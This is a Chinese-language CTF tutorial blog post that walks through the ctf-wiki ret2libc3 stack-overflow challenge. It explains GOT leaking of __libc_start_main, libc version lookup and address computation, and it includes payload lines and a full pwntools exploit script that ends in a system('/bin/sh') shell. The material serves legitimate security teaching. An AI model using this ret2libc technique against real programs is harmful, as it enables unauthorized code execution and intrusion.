前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >二进制学习系列-栈溢出之libc利用

二进制学习系列-栈溢出之libc利用

作者头像
安恒网络空间安全讲武堂
发布2019-09-29 11:23:24
3K0
发布2019-09-29 11:23:24
举报

经典文章:https://segmentfault.com/a/1190000005888964#articleHeader3

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2libc/ret2libc3

首先查看安全保护

可以看见主程序没有开启ASLR

但是libc文件开启了ASLR,扔进IDA中查看伪代码

int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No surprise anymore, system disappeard QQ."); printf("Can you find it !?"); gets(&s); return 0; }

明显看出是一个栈溢出,在查看汇编代码

可以看到字符串s是相对于esp的偏移,所以我们还需要自己去测出s距离溢出点的位移,整个反汇编中没有找到system系统函数,也没有发现‘/bin/sh'的字符串,所以应该都在libc.so文件之中,但是libc开启了ASLR保护,所以我们所看见的都是相对于基址的偏移量,我们需要通过泄漏libc文件中的函数来确定system函数以及bin字符串的地址。

即使程序开启了ASLR,最低的12位并不会发生改变,所以我们只要知道了libc中某一个函数的地址,我们就能知道该程序所利用的libc版本,进而我们就知道了该libc中system函数的地址。

那么问题是我们怎样才能知道libc中函数的地址:

我们可以通过got表泄漏,就是输出某个函数对应got表項的内容。因为libc具有延时机制的绑定,所以我们需要选择已经执行过了的函数来进行泄漏。

我们一般泄漏__libc_start_main的地址,这个地址就是libc文件的基址

所以大致的步骤就是:

1.泄漏__libc_start_main的地址

2.获取libc版本

3.再次执行main函数

4.获取system以及bin的地址

5.栈溢出获取shell

1.泄漏__libc_start_main的地址

输入地址

返回值地址,所以可得偏移量为0x70。

所以我们可以利用puts函数来打印出libc_start的地址,在去寻找相对应的libc,从而getshell。首先查看一下puts函数的地址:

所以这样写playload:

代码语言:javascript
复制
playload = 'A'*112 + p32(put_plt) + p32(main_addr) + p32(libc_addr)

由于我们调用put函数的时候需要一个返回地址,所以我们这里返回main函数的地址,可以打印出libc函数地址之后再次重新执行main函数。

2.获取libc版本

这里我们有两种方法来获取libc版本:

  1. 利用别人所写的libc_seacher脚本,具体 https://github.com/lieanu/LibcSearcher
  2. 利用别人所收集的libc,具体看 https://github.com/niklasb/libc-database

3.获取system函数以及/bin/sh地址:

用所计算得到的libc基地址:

代码语言:javascript
复制
__libc_start_main - libc.symbols['__libc_start_main']

加上所获取到的system地址:

代码语言:javascript
复制
libc_database + libc.symbols['system']

/bin/sh地址也一样:

代码语言:javascript
复制
libc_database + next(libc.search('/bin/sh'))

4.重新执行main调用system函数

代码语言:javascript
复制
playload2 = 'A'*104 + p32(sys_addr) + 'BBBB' + p32(bin_addr)

5.EXP:

代码语言:javascript
复制
from pwn import *

libc = ELF('libc.so.sys')
ret = ELF('ret2libc3')

p = process('./ret2libc3')
gdb.attach(p)
put_plt = ret.symbols['puts']
main_addr = ret.symbols['main']
libc_addr = ret.got['__libc_start_main']

playload = 'A'*112 + p32(put_plt) + p32(main_addr) + p32(libc_addr)
p.sendlineafter('Can you find it !?',playload)
libc_real = u32(p.recv(4))
print hex(libc_real)

sys_addr = libc_real - (libc.symbols['__libc_start_main'] - libc.symbols['system'] )
bin_addr = libc_real - (libc.symbols['__libc_start_main'] - next(libc.search('/bin/sh') ) )
print hex(sys_addr) + '\n' + hex(bin_addr)
playload2 = 'A'*104 + p32(sys_addr) + 'BBBB' + p32(bin_addr)
p.sendline(playload2)
p.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-09-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.泄漏__libc_start_main的地址
  • 2.获取libc版本
  • 3.获取system函数以及/bin/sh地址:
  • 4.重新执行main调用system函数
  • 5.EXP:
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档